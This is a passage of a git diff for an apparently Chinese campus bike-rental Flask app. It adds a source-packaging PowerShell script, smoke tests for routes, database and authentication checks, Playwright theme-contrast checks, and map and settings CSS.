-Depth 3 | Set-Content -Path $baselinePath -Encoding UTF8 + +$sizeKB = [math]::Round((Get-Item $outZip).Length/1KB, 0) +$mode = if ($Full) { '全量(1.zip)' } else { '增量(update.zip)' } +Write-Host "✓ $mode 打包完成: $($changed.Count) 个文件更新, $($deleted.Count) 个删除, $sizeKB KB" +Write-Host " 变更: $(($changed | ForEach-Object { $_.Substring($src.Length + 1) }) -join ', ')" +if ($deleted.Count) { Write-Host " 删除: $($deleted -join ', ')" } +Remove-Item $stage -Recurse -Force diff --git a/scripts/pack_zip.ps1 b/scripts/pack_zip.ps1 new file mode 100644 index 0000000..39aac69 --- /dev/null +++ b/scripts/pack_zip.ps1 @@ -0,0 +1,65 @@ +# 源码分发包:只包含代码、模板、必要静态资源和项目说明。 +# 用法: pwsh -File scripts/pack_zip.ps1 +$ErrorActionPreference = 'Stop' +$src = [IO.Path]::GetFullPath((Split-Path -Parent $PSScriptRoot)) +$zip = Join-Path $src '1.zip' +$pendingZip = Join-Path $src '1.zip.tmp' + +$include = @( + '.gitignore','LICENSE','README.md','app.py','db.py','campus.py','alerts.py','subscribe.py', + 'email_utils.py','email_verify.py','generate_icons.py','map_cache.py','pytest.ini','rate_limit.py', + 'rental_mail.py','requirements.txt','server_config.json','timer.py', + 'update_creds_from_capture.py','wechat.py' +) +$dirs = @('routes','templates','static','scripts','tests') +$extensions = @('.py','.js','.cjs','.mjs','.css','.html','.ps1','.json', + '.svg','.png','.ico','.woff','.woff2','.ttf') +$files = [Collections.Generic.List[object]]::new() +foreach ($name in $include) { + $file = Join-Path $src $name + if (Test-Path -LiteralPath $file -PathType Leaf) { $files.Add((Get-Item -LiteralPath $file)) } +} +foreach ($dir in $dirs) { + $path = Join-Path $src $dir + if (-not (Test-Path -LiteralPath $path -PathType Container)) { continue } + Get-ChildItem -LiteralPath $path -Recurse -File | ForEach-Object { + $relative = [IO.Path]::GetRelativePath($src, $_.FullName).Replace('\','/') + if ($relative -match '(^|/)(__pycache__|\.pytest_cache|\.reasonix|backups|node_modules)(/|$)') { return } + if ($_.Name.StartsWith('.') -or $_.Name.StartsWith('_preview') -or $_.Name -eq '_layout_preview.html') { return } + if ($extensions -notcontains $_.Extension.ToLowerInvariant()) { return } + $files.Add($_) + } +} + +Add-Type -AssemblyName System.IO.Compression.FileSystem +try { + $stream = [IO.File]::Open($pendingZip, [IO.FileMode]::Create) + $archive = [IO.Compression.ZipArchive]::new($stream, [IO.Compression.ZipArchiveMode]::Create) + try { + foreach ($file in $files) { + $relative = [IO.Path]::GetRelativePath($src, $file.FullName).Replace('\','/') + [IO.Compression.ZipFileExtensions]::CreateEntryFromFile( + $archive, $file.FullName, $relative, [IO.Compression.CompressionLevel]::Optimal) | Out-Null + } + } finally { $archive.Dispose(); $stream.Dispose() } + + $check = [IO.Compression.ZipFile]::OpenRead($pendingZip) + try { + $names = @($check.Entries | Select-Object -ExpandProperty FullName) + $required = @('app.py','db.py','map_cache.py','campus.py','alerts.py','subscribe.py', + 'routes/export.py','routes/subscribe.py','routes/rental.py','routes/admin.py', + 'templates/map.html','templates/admin.html','static/js/map.js', + 'static/js/bike-clusters.js','static/js/settings-pages.js','static/css/bike-clusters.css','static/css/map-settings.css','requirements.txt') + $missing = @($required | Where-Object { $names -notcontains $_ }) + if ($missing.Count) { throw "打包缺文件: $($missing -join ', ')" } + $unexpected = @($names | Where-Object { + $_ -match '(^|/)(downloads|artifacts|backups|logs|temp|sessions|__pycache__|\.git)/|\.(db|pem|key|crt|exe|zip|log|pyc)$|(^|/)(token_config|smtp_config|admin_config|secret_key)\.' + }) + if ($unexpected.Count) { throw "压缩包包含非源码文件: $($unexpected -join ', ')" } + } finally { $check.Dispose() } + Move-Item -LiteralPath $pendingZip -Destination $zip -Force + $sizeKB = [math]::Round((Get-Item -LiteralPath $zip).Length / 1KB, 1) + Write-Host "1.zip 完成:$($names.Count) 个文件,$sizeKB KB(仅源码与必要资源)" +} finally { + if (Test-Path -LiteralPath $pendingZip) { Remove-Item -LiteralPath $pendingZip -Force } +} diff --git a/scripts/smoke_test.py b/scripts/smoke_test.py new file mode 100644 index 0000000..e06baf2 --- /dev/null +++ b/scripts/smoke_test.py @@ -0,0 +1,279 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""冒烟测试:验证应用可启动、路由无冲突、关键接口可响应。""" +import sys +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) # 项目根 + +# 注意: app.py 导入时会重新包装 sys.stdout, 这里不能自己再包一层, +# 否则旧包装器被 GC 时会关闭底层 buffer。编码由 PYTHONIOENCODING 控制。 +_ORIG_STDOUT = sys.stdout # 持有引用, 防止被 GC 后关闭底层流 + +from collections import defaultdict + +PASS, FAIL = [], [] + + +def check(name, fn): + try: + detail = fn() + PASS.append((name, detail)) + print(f" [PASS] {name}" + (f" — {detail}" if detail else "")) + except Exception as e: + FAIL.append((name, f"{type(e).__name__}: {e}")) + print(f" [FAIL] {name} — {type(e).__name__}: {e}") + + +print("=" * 60) +print("1) 模块导入检查") +print("=" * 60) + + +def import_app(): + import app as app_module + return f"app 模块导入成功, 蓝图 {len(app_module.app.blueprints)} 个: {', '.join(app_module.app.blueprints)}" + + +check("导入 app.py 及全部依赖 (db/wechat/timer/routes.*)", import_app) + + +def import_side_modules(): + import rental_mail, email_utils, generate_icons # noqa: F401 + return "rental_mail / email_utils / generate_icons 导入成功" + + +check("导入其余业务模块", import_side_modules) + +app_obj = None +try: + import app as app_module + app_obj = app_module.app +except Exception: + pass + +print() +print("=" * 60) +print("2) 路由冲突检查") +print("=" * 60) + + +def route_conflicts(): + rules = defaultdict(list) + for r in app_obj.url_map.iter_rules(): + if r.endpoint == "static": + continue + methods = sorted(m for m in r.methods if m not in ("HEAD", "OPTIONS")) + for m in methods: + rules[(m, r.rule)].append(r.endpoint) + dupes = {k: v for k, v in rules.items() if len(v) > 1} + if dupes: + raise AssertionError(f"发现 {len(dupes)} 处路由冲突: {dupes}") + return f"共 {len(rules)} 条 (method, path) 规则, 无重复注册" + + +check("检查重复路由 (Flask 静默覆盖, 需显式检测)", route_conflicts) + + +def route_summary(): + rules = sorted(r.rule for r in app_obj.url_map.iter_rules() if r.endpoint != "static") + return f"{len(rules)} 条路由" + + +check("路由注册成功", route_summary) + +print() +print("=" * 60) +print("3) 数据库连通性") +print("=" * 60) + + +def db_check(): + import sqlite3 + from pathlib import Path + p = Path("users.db") + if not p.exists(): + raise AssertionError("users.db 不存在") + conn = sqlite3.connect(str(p)) + conn.row_factory = sqlite3.Row + cur = conn.cursor() + tables = [r[0] for r in cur.execute( + "SELECT name FROM sqlite_master WHERE type='table'").fetchall()] + counts = {} + for t in ("users", "rentals", "bike_history", "sessions"): + if t in tables: + counts[t] = cur.execute(f"SELECT COUNT(*) FROM {t}").fetchone()[0] + cur.execute("PRAGMA integrity_check") + integrity = cur.fetchone()[0] + conn.close() + if integrity != "ok": + raise AssertionError(f"数据库完整性异常: {integrity}") + return f"表 {len(tables)} 张, 行数: {counts}" + + +check("users.db 完整性与核心表", db_check) + + +def db_init_check(): + """init_db() 应可重复执行(幂等)而不报错 —— 用临时库验证。""" + import db, tempfile, os + from pathlib import Path + fd, tmp = tempfile.mkstemp(suffix=".db") + os.close(fd) + old = db.DB_PATH + db.DB_PATH = Path(tmp) + try: + db.init_db() + db.init_db() # 二次调用验证幂等 + return "init_db 在临时库上执行两次均成功(幂等)" + finally: + db.DB_PATH = old + try: + os.remove(tmp) + except OSError: + pass + + +check("init_db 幂等性 (临时库)", db_init_check) + +print() +print("=" * 60) +print("4) 模板与静态资源") +print("=" * 60) + + +def templates_check(): + from pathlib import Path + tdir = Path("templates") + files = sorted(p.name for p in tdir.glob("*.html")) + if not files: + raise AssertionError("templates 目录为空") + return f"{len(files)} 个模板: {', '.join(files)}" + + +check("模板文件存在", templates_check) + + +def static_check(): + from pathlib import Path + sdir = Path("static") + total = sum(1 for _ in sdir.rglob("*") if _.is_file()) + if total == 0: + raise AssertionError("static 目录为空") + return f"{total} 个静态文件" + + +check("静态资源存在", static_check) + +print() +print("=" * 60) +print("5) 关键接口冒烟 (Flask test client, 不真正监听端口)") +print("=" * 60) + + +def client(): + app_obj.config["TESTING"] = True + return app_obj.test_client() + + +c = client() + +EXPECTED = { + # (path): 说明。允许 200/3xx;404 属于页面/路由缺失 + "/": "主页(地图)", + "/admin": "管理后台(未登录应跳转登录)", + "/admin/login": "管理员登录页", + "/analysis.html": "数据分析页", + "/rental/email-return": "邮件还车页", + "/ring_progress.html": "寻车进度页", +} + + +def page(path): + def fn(): + r = c.get(path) + if r.status_code in (200, 301, 302, 304): + return f"{path} -> {r.status_code}" + if r.status_code == 404: + raise AssertionError(f"{path} -> 404 (页面/路由缺失)") + raise AssertionError(f"{path} -> {r.status_code}") + return fn + + +for path, name in EXPECTED.items(): + check(f"页面 {name} {path}", page(path)) + +# API 类: 401/400 = 接口在且鉴权/校验正常; 404/500 = 有问题 +API_ALLOW = {200, 400, 401, 302, 301} +APIS = [ + ("/api/bike_history", "无参数应返回400"), + ("/api/analysis/overview", "分析总览"), + ("/api/analysis/heatmap", "热力图"), + ("/api/history/stats", "历史统计"), + ("/api/history/bikes", "历史车辆列表"), + ("/api/history/heatmap", "历史热力图"), + ("/api/history/all_trajectory", "全量轨迹"), +] + + +def api(path): + def fn(): + r = c.get(path) + if r.status_code in API_ALLOW: + return f"{path} -> {r.status_code}" + raise AssertionError(f"{path} -> {r.status_code}") + return fn + + +for path, desc in APIS: + check(f"API {desc} {path}", api(path)) + + +def protected_api_check(): + """未登录访问受保护接口应返回 401(或明确拒绝) 而不是 500/404""" + paths = ( + "/api/auth/rental_settings", "/api/rental/status", + "/api/share/active", "/api/auth/profile", "/api/order/status", + ) + for path in paths: + r = c.get(path) + if r.status_code == 404: + raise AssertionError(f"{path} -> 404, 接口不存在") + if r.status_code >= 500: + raise AssertionError(f"{path} -> {r.status_code}, 服务端错误") + if r.status_code == 200: + body = r.get_json(silent=True) or {} + if body.get("rtn_code") not in (401, 403): + raise AssertionError( + f"{path} 未登录返回 200 且 rtn_code={body.get('rtn_code')}, 疑似未鉴权") + return "受保护接口未登录时均正确拒绝(无 500/404/越权)" + + +check("受保护接口鉴权兜底", protected_api_check) + + +def login_flow_check(): + """登录接口对错误凭据应返回明确失败而非 500""" + r = c.post("/api/auth/login", + json={"email": "smoke_nonexist@example.test", "password": "wrong"}) + if r.status_code >= 500: + raise AssertionError(f"/api/auth/login -> {r.status_code}") + body = r.get_json(silent=True) or {} + if r.status_code == 200 and body.get("rtn_code") == 0: + raise AssertionError("错误凭据竟然登录成功!") + return f"/api/auth/login 错误凭据 -> {r.status_code} rtn_code={body.get('rtn_code')} (拒绝正常)" + + +check("登录接口错误凭据处理", login_flow_check) + +print() +print("=" * 60) +print("冒烟测试结果汇总") +print("=" * 60) +print(f"通过: {len(PASS)} 失败: {len(FAIL)}") +if FAIL: + print("\n失败项:") + for name, err in FAIL: + print(f" - {name}: {err}") + sys.exit(1) +print("全部通过 ✅") diff --git a/scripts/verify_native_acrylic.js b/scripts/verify_native_acrylic.js new file mode 100644 index 0000000..6955578 --- /dev/null +++ b/scripts/verify_native_acrylic.js @@ -0,0 +1,49 @@ +const { chromium } = require('playwright'); + +const edgePath = 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe'; +const nativeUa = 'Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 Chrome/153 Mobile Safari/537.36 xbniu-native/1.0'; + +(async () => { + const browser = await chromium.launch({ executablePath: edgePath, headless: true }); + for (const colorScheme of ['light', 'dark']) { + const context = await browser.newContext({ + colorScheme, + userAgent: nativeUa, + viewport: { width: 530, height: 942 }, + deviceScaleFactor: 1, + }); + const page = await context.newPage(); + page.on('dialog', dialog => dialog.dismiss()); + await page.goto(`http://127.0.0.1:98/?theme-check=${Date.now()}`, { waitUntil: 'domcontentloaded' }); + await page.waitForSelector('#native-tools'); + const result = await page.evaluate(() => { + const button = document.querySelector('#auth-btn'); + const text = document.querySelector('#auth-btn-text'); + const avatar = document.querySelector('#auth-avatar'); + if (button) button.style.transition = 'none'; + button?.classList.add('logged-in'); + if (text) text.style.display = 'none'; + if (avatar) { avatar.style.display = 'flex'; avatar.textContent = '3'; } + const inspect = selector => { + const style = getComputedStyle(document.querySelector(selector)); + return { + background: style.backgroundColor, + color: style.color, + border: style.borderColor, + backdrop: style.backdropFilter || style.webkitBackdropFilter, + }; + }; + return { + htmlClass: document.documentElement.className, + avatarClass: button?.className, + avatarParent: button?.parentElement?.parentElement?.id, + avatar: inspect('#auth-btn'), + tools: inspect('#native-tools'), + legend: inspect('.legend'), + }; + }); + console.log(JSON.stringify({ colorScheme, ...result })); + await context.close(); + } + await browser.close(); +})(); diff --git a/scripts/verify_theme.js b/scripts/verify_theme.js new file mode 100644 index 0000000..16d126a --- /dev/null +++ b/scripts/verify_theme.js @@ -0,0 +1,85 @@ +const { chromium } = require('playwright'); +const fs = require('fs'); +const path = require('path'); + +const edgePath = 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe'; +const outputDir = path.resolve(__dirname, '..', 'artifacts', 'screenshots'); +const selectors = [ + '.auth-btn', + '.locate-btn', + '.scan-btn', + '.bike-action-btn', + '.auth-submit', + '.profile-verify-btn', + '.radius-btn.active', + '.token-expired-btn.confirm', + '.code-send-btn', + '.return-confirm-btn.confirm', + '.unlock-confirm-btn.confirm', + '.lost-modal-btn.confirm', + '.share-req-row button', + '.share-mini-btn.primary', +]; + +function channel(value) { + const normalized = value / 255; + return normalized <= 0.04045 + ? normalized / 12.92 + : ((normalized + 0.055) / 1.055) ** 2.4; +} + +function luminance(rgb) { + const values = rgb.match(/[\d.]+/g).slice(0, 3).map(Number); + return 0.2126 * channel(values[0]) + 0.7152 * channel(values[1]) + 0.0722 * channel(values[2]); +} + +function contrast(foreground, background) { + const light = Math.max(luminance(foreground), luminance(background)); + const dark = Math.min(luminance(foreground), luminance(background)); + return (light + 0.05) / (dark + 0.05); +} + +(async () => { + const browser = await chromium.launch({ executablePath: edgePath, headless: true }); + let failed = false; + + for (const colorScheme of ['light', 'dark']) { + const context = await browser.newContext({ colorScheme, viewport: { width: 1280, height: 800 } }); + const page = await context.newPage(); + page.on('dialog', dialog => dialog.dismiss()); + if (process.env.XBNIU_CAPTURE_TOKEN) { + await page.addInitScript(token => localStorage.setItem('auth_token', token), process.env.XBNIU_CAPTURE_TOKEN); + } + await page.goto('http://127.0.0.1:98/', { waitUntil: 'domcontentloaded' }); + await page.waitForTimeout(500); + + const results = await page.evaluate(items => items.map(selector => { + const element = document.querySelector(selector); + if (!element) return { selector, missing: true }; + const style = getComputedStyle(element); + const themedBackground = getComputedStyle(document.body).getPropertyValue('--accent-color').trim(); + const background = style.backgroundColor === 'rgba(0, 0, 0, 0)' && style.backgroundImage !== 'none' + ? themedBackground + : style.backgroundColor; + return { selector, color: style.color, background }; + }), selectors); + + for (const result of results) { + if (result.missing) continue; + result.contrast = Number(contrast(result.color, result.background).toFixed(2)); + if (result.contrast < 4.5) failed = true; + } + console.log(JSON.stringify({ colorScheme, results }, null, 2)); + if (process.env.XBNIU_CAPTURE_TOKEN) { + fs.mkdirSync(outputDir, { recursive: true }); + await page.addStyleTag({ + content: '#token-expired-modal, .login-gate, .toast, #loading, #version-modal { display: none !important; }', + }); + await page.screenshot({ path: path.join(outputDir, `map-authenticated-${colorScheme}.png`) }); + } + await context.close(); + } + + await browser.close(); + if (failed) process.exitCode = 1; +})(); diff --git a/smoke_test.py b/smoke_test.py new file mode 100644 index 0000000..fa90be2 --- /dev/null +++ b/smoke_test.py @@ -0,0 +1,276 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""冒烟测试:验证应用可启动、路由无冲突、关键接口可响应。""" +import sys + +# 注意: app.py 导入时会重新包装 sys.stdout, 这里不能自己再包一层, +# 否则旧包装器被 GC 时会关闭底层 buffer。编码由 PYTHONIOENCODING 控制。 +_ORIG_STDOUT = sys.stdout # 持有引用, 防止被 GC 后关闭底层流 + +from collections import defaultdict + +PASS, FAIL = [], [] + + +def check(name, fn): + try: + detail = fn() + PASS.append((name, detail)) + print(f" [PASS] {name}" + (f" — {detail}" if detail else "")) + except Exception as e: + FAIL.append((name, f"{type(e).__name__}: {e}")) + print(f" [FAIL] {name} — {type(e).__name__}: {e}") + + +print("=" * 60) +print("1) 模块导入检查") +print("=" * 60) + + +def import_app(): + import app as app_module + return f"app 模块导入成功, 蓝图 {len(app_module.app.blueprints)} 个: {', '.join(app_module.app.blueprints)}" + + +check("导入 app.py 及全部依赖 (db/wechat/timer/routes.*)", import_app) + + +def import_side_modules(): + import rental_mail, email_utils, generate_icons # noqa: F401 + return "rental_mail / email_utils / generate_icons 导入成功" + + +check("导入其余业务模块", import_side_modules) + +app_obj = None +try: + import app as app_module + app_obj = app_module.app +except Exception: + pass + +print() +print("=" * 60) +print("2) 路由冲突检查") +print("=" * 60) + + +def route_conflicts(): + rules = defaultdict(list) + for r in app_obj.url_map.iter_rules(): + if r.endpoint == "static": + continue + methods = sorted(m for m in r.methods if m not in ("HEAD", "OPTIONS")) + for m in methods: + rules[(m, r.rule)].append(r.endpoint) + dupes = {k: v for k, v in rules.items() if len(v) > 1} + if dupes: + raise AssertionError(f"发现 {len(dupes)} 处路由冲突: {dupes}") + return f"共 {len(rules)} 条 (method, path) 规则, 无重复注册" + + +check("检查重复路由 (Flask 静默覆盖, 需显式检测)", route_conflicts) + + +def route_summary(): + rules = sorted(r.rule for r in app_obj.url_map.iter_rules() if r.endpoint != "static") + return f"{len(rules)} 条路由" + + +check("路由注册成功", route_summary) + +print() +print("=" * 60) +print("3) 数据库连通性") +print("=" * 60) + + +def db_check(): + import sqlite3 + from pathlib import Path + p = Path("users.db") + if not p.exists(): + raise AssertionError("users.db 不存在") + conn = sqlite3.connect(str(p)) + conn.row_factory = sqlite3.Row + cur = conn.cursor() + tables = [r[0] for r in cur.execute( + "SELECT name FROM sqlite_master WHERE type='table'").fetchall()] + counts = {} + for t in ("users", "rentals", "bike_history", "sessions"): + if t in tables: + counts[t] = cur.execute(f"SELECT COUNT(*) FROM {t}").fetchone()[0] + cur.execute("PRAGMA integrity_check") + integrity = cur.fetchone()[0] + conn.close() + if integrity != "ok": + raise AssertionError(f"数据库完整性异常: {integrity}") + return f"表 {len(tables)} 张, 行数: {counts}" + + +check("users.db 完整性与核心表", db_check) + + +def db_init_check(): + """init_db() 应可重复执行(幂等)而不报错 —— 用临时库验证。""" + import db, tempfile, os + from pathlib import Path + fd, tmp = tempfile.mkstemp(suffix=".db") + os.close(fd) + old = db.DB_PATH + db.DB_PATH = Path(tmp) + try: + db.init_db() + db.init_db() # 二次调用验证幂等 + return "init_db 在临时库上执行两次均成功(幂等)" + finally: + db.DB_PATH = old + try: + os.remove(tmp) + except OSError: + pass + + +check("init_db 幂等性 (临时库)", db_init_check) + +print() +print("=" * 60) +print("4) 模板与静态资源") +print("=" * 60) + + +def templates_check(): + from pathlib import Path + tdir = Path("templates") + files = sorted(p.name for p in tdir.glob("*.html")) + if not files: + raise AssertionError("templates 目录为空") + return f"{len(files)} 个模板: {', '.join(files)}" + + +check("模板文件存在", templates_check) + + +def static_check(): + from pathlib import Path + sdir = Path("static") + total = sum(1 for _ in sdir.rglob("*") if _.is_file()) + if total == 0: + raise AssertionError("static 目录为空") + return f"{total} 个静态文件" + + +check("静态资源存在", static_check) + +print() +print("=" * 60) +print("5) 关键接口冒烟 (Flask test client, 不真正监听端口)") +print("=" * 60) + + +def client(): + app_obj.config["TESTING"] = True + return app_obj.test_client() + + +c = client() + +EXPECTED = { + # (path): 说明。允许 200/3xx;404 属于页面/路由缺失 + "/": "主页(地图)", + "/admin": "管理后台(未登录应跳转登录)", + "/admin/login": "管理员登录页", + "/analysis.html": "数据分析页", + "/rental/email-return": "邮件还车页", + "/ring_progress.html": "寻车进度页", +} + + +def page(path): + def fn(): + r = c.get(path) + if r.status_code in (200, 301, 302, 304): + return f"{path} -> {r.status_code}" + if r.status_code == 404: + raise AssertionError(f"{path} -> 404 (页面/路由缺失)") + raise AssertionError(f"{path} -> {r.status_code}") + return fn + + +for path, name in EXPECTED.items(): + check(f"页面 {name} {path}", page(path)) + +# API 类: 401/400 = 接口在且鉴权/校验正常; 404/500 = 有问题 +API_ALLOW = {200, 400, 401, 302, 301} +APIS = [ + ("/api/bike_history", "无参数应返回400"), + ("/api/analysis/overview", "分析总览"), + ("/api/analysis/heatmap", "热力图"), + ("/api/history/stats", "历史统计"), + ("/api/history/bikes", "历史车辆列表"), + ("/api/history/heatmap", "历史热力图"), + ("/api/history/all_trajectory", "全量轨迹"), +] + + +def api(path): + def fn(): + r = c.get(path) + if r.status_code in API_ALLOW: + return f"{path} -> {r.status_code}" + raise AssertionError(f"{path} -> {r.status_code}") + return fn + + +for path, desc in APIS: + check(f"API {desc} {path}", api(path)) + + +def protected_api_check(): + """未登录访问受保护接口应返回 401(或明确拒绝) 而不是 500/404""" + paths = ( + "/api/auth/rental_settings", "/api/rental/status", + "/api/share/active", "/api/auth/profile", "/api/order/status", + ) + for path in paths: + r = c.get(path) + if r.status_code == 404: + raise AssertionError(f"{path} -> 404, 接口不存在") + if r.status_code >= 500: + raise AssertionError(f"{path} -> {r.status_code}, 服务端错误") + if r.status_code == 200: + body = r.get_json(silent=True) or {} + if body.get("rtn_code") not in (401, 403): + raise AssertionError( + f"{path} 未登录返回 200 且 rtn_code={body.get('rtn_code')}, 疑似未鉴权") + return "受保护接口未登录时均正确拒绝(无 500/404/越权)" + + +check("受保护接口鉴权兜底", protected_api_check) + + +def login_flow_check(): + """登录接口对错误凭据应返回明确失败而非 500""" + r = c.post("/api/auth/login", + json={"email": "smoke_nonexist@example.test", "password": "wrong"}) + if r.status_code >= 500: + raise AssertionError(f"/api/auth/login -> {r.status_code}") + body = r.get_json(silent=True) or {} + if r.status_code == 200 and body.get("rtn_code") == 0: + raise AssertionError("错误凭据竟然登录成功!") + return f"/api/auth/login 错误凭据 -> {r.status_code} rtn_code={body.get('rtn_code')} (拒绝正常)" + + +check("登录接口错误凭据处理", login_flow_check) + +print() +print("=" * 60) +print("冒烟测试结果汇总") +print("=" * 60) +print(f"通过: {len(PASS)} 失败: {len(FAIL)}") +if FAIL: + print("\n失败项:") + for name, err in FAIL: + print(f" - {name}: {err}") + sys.exit(1) +print("全部通过 ✅") diff --git a/static/_layout_preview.html b/static/_layout_preview.html new file mode 100644 index 0000000..7ccce17 --- /dev/null +++ b/static/_layout_preview.html @@ -0,0 +1,48 @@ + + + + + + + + + + +
+
+ +
+ +
+ +
+
状态图例
+
可用 0
+
使用中 0
+
欠压 0
+
损坏 0
+
低电量 0
+
+
+ + +
+ + +
+ + + + + +
v1.6.0
+ + diff --git a/static/_preview_desktop.png b/static/_preview_desktop.png new file mode 100644 index 0000000..073304a Binary files /dev/null and b/static/_preview_desktop.png differ diff --git a/static/_preview_mobile.png b/static/_preview_mobile.png new file mode 100644 index 0000000..273e67e Binary files /dev/null and b/static/_preview_mobile.png differ diff --git a/static/css/bike-clusters.css b/static/css/bike-clusters.css new file mode 100644 index 0000000..2815474 --- /dev/null +++ b/static/css/bike-clusters.css @@ -0,0 +1,89 @@ +/* Native overlay coordinates: the SDK keeps the layer aligned during zooming. */ +.bike-bubble-layer { + position: absolute; + top: 0; + left: 0; + width: 0; + height: 0; + z-index: 10; + overflow: visible; + pointer-events: none; + --bubble-surface: rgba(255, 255, 252, .96); + --bubble-ink: #25382f; + --bubble-muted: #65776c; + --bubble-track: #e0e9e2; + --bubble-green: #32a673; + --bubble-border: rgba(255, 255, 255, .95); +} +.bike-bubble-anchor { position: absolute; top: 0; left: 0; } +.bike-bubble, .bike-dot { + position: absolute; + top: 0; + left: 0; + pointer-events: auto; + cursor: pointer; + user-select: none; + -webkit-tap-highlight-color: transparent; + touch-action: none; + font-family: inherit; + transform-origin: center; + will-change: opacity; + transition: box-shadow 160ms ease; +} +.bike-bubble { + width: var(--bubble-size); + height: var(--bubble-size); + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + gap: 1px; + border-radius: 50%; + border: 1px solid var(--bubble-border); + background: var(--bubble-surface); + color: var(--bubble-ink); + box-shadow: 0 3px 9px rgba(28, 54, 38, .13), 0 9px 24px rgba(28, 54, 38, .09); + transition: box-shadow 160ms ease; +} +.bike-bubble-ring { + position: absolute; + inset: 4px; + border-radius: 50%; + background: conic-gradient(var(--bubble-green) var(--available-angle), var(--bubble-track) 0); + -webkit-mask: radial-gradient(farthest-side, transparent calc(100% - 2.5px), #000 calc(100% - 2px)); + mask: radial-gradient(farthest-side, transparent calc(100% - 2.5px), #000 calc(100% - 2px)); + pointer-events: none; +} +.bike-bubble-count { + font-size: 21px; + font-weight: 750; + line-height: 1.05; + letter-spacing: -.7px; + font-variant-numeric: tabular-nums; +} +.bike-bubble-label { color: var(--bubble-muted); font-size: 10px; font-weight: 600; line-height: 1.4; } +.bike-bubble.is-unavailable { --bubble-green: #92a098; } +.bike-bubble.is-unavailable .bike-bubble-count { color: var(--bubble-muted); } +.bike-dot { width: 36px; height: 36px; border: 0; border-radius: 50%; background: transparent; } +/* BMap injects .bmap-container button { border-radius: 0 } after page CSS. */ +.bike-bubble-layer .bike-bubble, +.bike-bubble-layer .bike-dot { border-radius: 50%; } +.bike-dot img { display: block; width: 100%; height: 100%; pointer-events: none; } +.bike-bubble:focus-visible, .bike-dot:focus-visible { outline: 3px solid var(--bubble-green); outline-offset: 4px; } +.bike-bubble:active { box-shadow: 0 1px 4px rgba(28, 54, 38, .2); } +@media (hover: hover) { + .bike-bubble:hover { box-shadow: 0 4px 12px rgba(28, 54, 38, .2), 0 12px 28px rgba(28, 54, 38, .12); } +} +@media (prefers-color-scheme: dark) { + .bike-bubble-layer { + --bubble-surface: rgba(34, 43, 39, .97); + --bubble-ink: #f2f5f0; + --bubble-muted: #b0c1b4; + --bubble-track: #435149; + --bubble-green: #6bd5a2; + --bubble-border: rgba(207, 230, 215, .24); + } +} +@media (prefers-reduced-motion: reduce) { + .bike-bubble { transition: none; } +} diff --git a/static/css/map-settings.css b/static/css/map-settings.css new file mode 100644 index 0000000..81074a8 --- /dev/null +++ b/static/css/map-settings.css @@ -0,0 +1,86 @@ +#baidu_map canvas { filter: var(--basemap-filter, none); } +.settings-page[hidden], .settings-view[hidden], #settings-page-home[hidden] { display: none !important; } +.settings-page { + position: fixed; inset: 0; z-index: 3500; display: flex; flex-direction: column; + background: var(--ui-canvas); color: var(--text-primary); +} +.settings-page-header { + display: grid; grid-template-columns: 1fr auto 1fr; align-items: center; + flex: 0 0 auto; min-height: 72px; padding: 14px max(24px, calc((100% - 740px) / 2)); + background: var(--ui-surface); border-bottom: 1px solid var(--border-color); +} +.settings-page-header h1 { font-size: 18px; font-weight: 650; outline: none; } +#settings-page-title:focus { outline: none !important; box-shadow: none !important; } +#settings-page-back { justify-self: start; } +#settings-page-home { justify-self: end; font-size: 12px; color: var(--text-secondary); } +.settings-page-main { flex: 1; min-height: 0; overflow: auto; overscroll-behavior: contain; -webkit-overflow-scrolling: touch; } +.settings-view { width: min(100%, 740px); margin: 0 auto; padding: 28px 24px 40px; } +.settings-view-content { + position: static !important; transform: none !important; width: 100% !important; max-width: none !important; + max-height: none !important; padding: 0; margin: 0; overflow: visible !important; + background: transparent; border: 0; border-radius: 0; box-shadow: none; +} +.settings-view .devices-list, .settings-view .packages-list, .settings-view #subscribe-list { + max-height: none !important; overflow: visible !important; flex: none; +} +.settings-account { display: flex; align-items: center; gap: 14px; margin-bottom: 20px; } +.settings-view .profile-stats { padding: 18px; margin-bottom: 22px; border-radius: 16px; background: var(--ui-surface); } +.settings-view .stat-value { color: var(--text-primary); font-size: 24px; font-variant-numeric: tabular-nums; } +.settings-view .stat-item + .stat-item { border-left: 1px solid var(--border-color); } +.settings-view .profile-auth-hint { margin: 12px 0 22px; } +.settings-menu { margin-bottom: 28px; } +.settings-menu .settings-link-row + .settings-link-row { border-top: 1px solid var(--border-color); } +.settings-chevron { font-size: 23px; font-weight: 400; color: var(--text-tertiary); } +.settings-logout { + display: block; width: 100%; padding: 16px; border: 1px solid var(--border-color); border-radius: 16px; + background: var(--ui-surface); color: var(--danger); cursor: pointer; font-size: 14px; +} +.settings-view .rental-settings-note { margin-bottom: 22px; } +.settings-view .auth-submit { margin-top: 20px; } +.settings-view .share-content { width: 100%; } +.map-settings-content { width: 430px; max-width: calc(100% - 32px); padding: 0; overflow: auto; } +.map-settings-header { + position: sticky; top: 0; z-index: 1; + display: flex; align-items: center; justify-content: space-between; + padding: 18px 20px; background: var(--bg-card); border-bottom: 1px solid var(--border-color); +} +.map-settings-header h2 { font-size: 18px; font-weight: 650; } +.settings-back { + display: flex; align-items: center; gap: 2px; min-height: 36px; + border: 0; padding: 0; background: none; color: var(--text-primary); font-size: 14px; cursor: pointer; +} +.settings-header-spacer { width: 50px; } +.settings-body { padding: 24px 20px 28px; } +.settings-section-title { color: var(--text-secondary); font-size: 12px; font-weight: 600; margin: 0 4px 10px; } +.settings-group { background: var(--bg-secondary); border: 1px solid var(--border-color); border-radius: 16px; overflow: hidden; } +.settings-page .settings-group { background: var(--ui-surface); } +.map-setting-row, .settings-link-row { display: flex; align-items: center; justify-content: space-between; gap: 22px; padding: 18px 16px; } +.map-setting-row { cursor: pointer; } +.map-setting-copy { display: flex; flex-direction: column; gap: 6px; text-align: left; } +.map-setting-copy strong { color: var(--text-primary); font-size: 15px; font-weight: 600; line-height: 1.4; } +.map-setting-copy > span { color: var(--text-secondary); font-size: 12px; line-height: 1.65; } +.settings-row-note { color: 